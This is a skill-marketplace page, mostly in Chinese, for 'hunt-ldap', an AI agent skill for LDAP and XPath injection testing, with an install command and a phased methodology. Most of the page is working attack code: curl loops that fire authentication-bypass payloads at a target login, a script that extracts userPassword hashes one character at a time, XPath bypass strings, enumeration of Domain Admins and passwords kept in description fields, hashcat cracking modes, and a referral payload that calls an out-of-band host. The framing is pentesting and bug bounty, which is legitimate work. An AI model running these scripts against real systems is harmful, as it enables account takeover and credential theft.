mcpField
H
hunt-ldap

hunt-ldap

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 hunt-ldap

hunt-ldap 是用于调查认证和目录应用中 LDAP 与 XPath 注入的安全测试技能。它区分通用 LDAP 与 Active Directory 的行为,并通过对照验证减少误报。

主要功能

  1. 01LDAP 过滤器与 DN 注入测试
  2. 02认证绕过调查
  3. 03受控盲属性提取
  4. 04XPath 注入检查
  5. 05Active Directory 专项指导
  6. 06误报验证

适用场景

  1. 01测试基于目录的登录表单
  2. 02检查目录属性是否可被提取
  3. 03评估 LDAP 或 XPath 认证绕过

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-ldap

安装后在 Claude Code 中输入/hunt-ldap确认已加载。

详细介绍

HUNT-LDAP — LDAP 注入与 XPath 注入

背景说明:LDAP 注入很少会在公开平台上披露原样载荷(大多数案例只存在于内部渗透测试报告中)。本技能以 OWASP LDAP 注入预防 / 测试指南(WSTG-INPV-06)、**PortSwigger Web Security Academy(LDAP 注入)**和 RFC 4515 过滤器语法为依据;这些都是可公开核实的参考资料,而非杜撰的 HackerOne 编号。不要引用无法提供链接的报告。

皇冠明珠目标

绕过身份验证的 LDAP 注入 = 严重。盲属性凭据 / 秘密信息窃取 = 高危。仅枚举 AD = 中高危。

价值最高的攻击链:

  • LDAP 身份验证绕过 — 闭合 uid 过滤器并追加一个恒真 OR,使绑定 / 搜索在没有有效密码的情况下返回管理员条目。
  • 盲属性数据窃取 — 通过布尔型预言机(登录成功 / 失败、结果数量或响应长度)逐字符提取属性值。
  • userPassword 哈希窃取(仅限非 AD) — 在 OpenLDAP / 389-DS 上,userPassword 属性可能存放 {SSHA} / {CRYPT} 哈希,这些哈希可以通过查询读取。参见下文关于 AD 与通用 LDAP 的警告。
  • XPath 注入身份验证绕过 — 针对基于 XML 的身份验证使用 ' or '1'='1。

严重 — Active Directory 与通用 LDAP 的区别

不要混为一谈。 两者的行为截然不同:

通用 LDAP(OpenLDAP、389-DS、ApacheDS)Active Directory
密码属性userPassword — 可能存放 {SSHA} / {MD5} / {CRYPT},且可读取(前提是 ACL 允许)unicodePwd — 只写,任何搜索都不会返回
通过注入窃取哈希可能,前提是 ACL 泄露了 userPassword不可能 — LDAP 中不存在可读取的哈希属性
有用的枚举属性uid、cn、mail、userPasswordsAMAccountName、userPrincipalName、mail、memberOf、description(其中经常存有明文秘密!)

不要告诉读者盲 LDAP 注入可以获取 AD 密码哈希——事实并非如此。 unicodePwd 是只写的。针对 AD,真正的收获是枚举(sAMAccountName、memberOf,以及管理员误用来存储密码的 description / info 字段)和身份验证绕过,而不是哈希转储。哈希窃取技术仅适用于公开 userPassword 的非 AD 目录。


攻击面信号

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP 过滤器语法(RFC 4515)——注入为何有效

登录过滤器通常通过字符串拼接构造:

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND,| = OR,! = NOT。过滤器使用前缀 / 波兰表示法——运算符位于最前,每个子过滤器都用括号括起来。要注入,你必须 (a) 退出当前的 (uid=...) 组,(b) 注入自己的逻辑,并且 (c) 保持整体括号数量平衡,否则服务器会抛出过滤器语法错误,而不是执行查询。

特殊字符集 — 逐一测试

这些字符在语法上有特殊含义,安全应用必须对其进行转义(RFC 4515 §3)。如果应用在收到未转义的字符时返回错误或行为有所不同,则输入未转义 → 可注入:

字符过滤器转义重要原因
*\2a通配符 — 匹配任意值
(\28开始过滤器组
)\29结束过滤器组
\\5c转义字符本身
NUL\00字符串终止符 — 会截断使用 C 实现的服务器中的过滤器
/(DN 上下文)RDN 分隔符 — 与 DN 注入相关

搜索过滤器上下文与 DN 注入是不同的漏洞:

  • 搜索过滤器注入(最常见):你的输入进入 (attr=VALUE) 过滤器。载荷会使用 * ( ) & | !。
  • DN 注入:你的输入被拼接进可分辨名称(uid=VALUE,ou=people,dc=corp)。此时 , = + " \ < > ; 和 / 很重要,而 * 不是通配符。两种情况都要测试——载荷不可互换。

分步狩猎方法论

阶段 1 — 确认 LDAP 后端(先建立基线)
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

单独一个 ) 会导致语法错误/500,而括号配平的载荷不会,这就是最明确的 LDAP 注入信号——请记下来,后面需要用它作为证据。

阶段 2 — 身份验证绕过载荷(配平括号)
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl --max-time 30 --connect-timeout 10 -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

**括号配平经验法则:**统计最终完整过滤器中的 ( 与 ) 数量,而不只是统计你的载荷。如果应用在输入后追加 )(userPassword=...)),请在末尾保留恰当数量的 ),使最终字符串配平。过滤器未配平 = 语法错误 = 不能绕过(误报)。

阶段 3 — 使用受控 oracle 进行盲目数据外泄(而非原始字节计数)

直接比较 size_download 差异容易受到噪声影响(WAF 横幅、CSRF 令牌、时间戳、注入字符本身导致的长度抖动)。使用成对的真/假对照,让 oracle 依据响应而非绝对大小作出判断。

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

盲目数据外泄的误报防护:

  • 每个肯定字符重复 3 次,并确认大小稳定——攻击者控制的字符本身造成的长度抖动是最常见的误报。
  • 每轮之后确认假条件对照仍返回假条件对应的大小(应用并非刚好开始对每个请求都报错——WAF 拦截看起来像匹配成功)。
  • 如果正文长度不可靠,可将 oracle 改为HTTP 状态码、正文标记字符串(是否包含 "Invalid credentials"),或使用重型过滤器进行计时——但前提是先建立稳定的基线差异。
阶段 4 — XPath 注入(基于 XML 的身份验证)
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
  "' or '1'='1"
  "' or ''='"
  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
  "*[contains(name(),'pass')]"          # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
  R=$(curl --max-time 30 --connect-timeout 10 -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    --data-urlencode "username=$P" --data-urlencode "password=x")
  echo "$P  ->  ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
阶段 5 — 通过通配符枚举 AD(计数 oracle,含对照)
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/directory/search \
  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
#   (description=*pw*)   (description=*pass*)   — admins stash secrets here
阶段 6 — 工具与带外确认
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.

攻击链表

LDAP 发现攻击链影响
身份验证绕过(恒为真的过滤器)以目录中的第一个条目身份访问管理员/SSO 面板严重
AD 枚举(sAMAccountName)用户名列表 → 密码喷洒 / 凭据填充大规模账户接管风险
memberOf 枚举找出 Domain Admins → 定向钓鱼/密码喷洒定向入侵
读取 description/info 字段管理员留存在其中的明文凭据直接泄露凭据
盲目外泄 userPassword (仅限非 AD){SSHA}(加盐 SHA-1)→ hashcat -m 111({SSHA256}=1411,{SSHA512}=1711);{CRYPT} → 模式取决于 $id$ 前缀($1$=500,$6$=1800)→ 离线破解高
LDAP 转介 → Collaborator服务端请求 / 内部目录访问SSRF 类问题,可确认盲注

AD 没有可读取的密码属性——不要将“提取 AD 哈希”列为攻击链。 针对 AD,获取凭据的途径是滥用 description/info,或利用枚举出的用户名进行密码喷洒,而绝不是 unicodePwd。


验证 — 报告之前,先排除误报

只有排除了语法错误、WAF 拦截和长度抖动等解释后,“绕过”或“匹配”才算真实。

  • 身份验证绕过: 始终为真的载荷会返回有效的已认证会话(会话 Cookie + 可访问登录后的资源),而删除一个括号后发送相同请求会返回筛选器语法错误——这证明筛选器已解析并执行,而不是应用对所有输入都默认放行。
  • 阴性对照: 逻辑上等价但为假的载荷()(uid=NONEXISTENT_ZZZ))会返回失败响应。如果真假两类载荷都“成功”,说明你发现的是有缺陷的端点,而不是 LDAP 注入。
  • 盲注数据外带: 每个恢复出的字符都能以稳定大小重复验证 3 次;各轮之间,FALSE 对照仍返回 FALSE;通过直接查询或使用该值的身份验证绕过载荷验证恢复出的值。
  • XPath: 引号和方括号保持配对(没有 500 错误),且绕过后登录到了真实账户上下文——而不只是出现了不同的错误页面。
  • 尽可能进行 OOB 验证: 对于盲测案例,来自 referral 载荷的 Collaborator DNS/LDAP 交互具有决定性——优先于仅根据长度推断。
  • 谨慎声称涉及 AD: 如果声称涉及“AD”,就必须枚举 AD 专属属性(sAMAccountName/memberOf);绝不能声称外带了 AD 哈希。

严重性:

  • 绕过身份验证并以管理员身份或特权目录条目登录:严重
  • 外带 userPassword 哈希(非 AD)或读取 description 字段中的凭据:高
  • 仅枚举 AD 用户/组:中高
  • 已确认盲布尔值预言机,但无法获取有用属性:中

验证

运行此自测,确认 ldap hunting 已准备就绪:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-ldap" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能已设置类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱章节 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试均通过,即表示技能结构正确,可以使用。


常见陷阱

  • 匿名 LDAP 绑定,且不含敏感属性 — 匿名绑定返回公开目录信息属于正常情况。需要获取个人身份信息、凭据或成员资格数据。
  • LDAP 注入但未绕过身份验证 — 只能返回真/假的盲 LDAP 注入更难利用。需要外带数据或绕过身份验证。
  • 未强制使用 LDAPS,但处于内部网络 — 内部网络使用明文 LDAP 很常见。只有面向公网的服务才构成发现项。
  • 从 LDAP 获取 NTLM,但没有中继路径 — 只有存在中继目标时,从 LDAP 捕获 NTLM 哈希才有价值。

相关技能

  • password-spray-methodology — 适用于所有协议的通用密码喷洒流程 + 错误代码差异

评论

支持 Markdown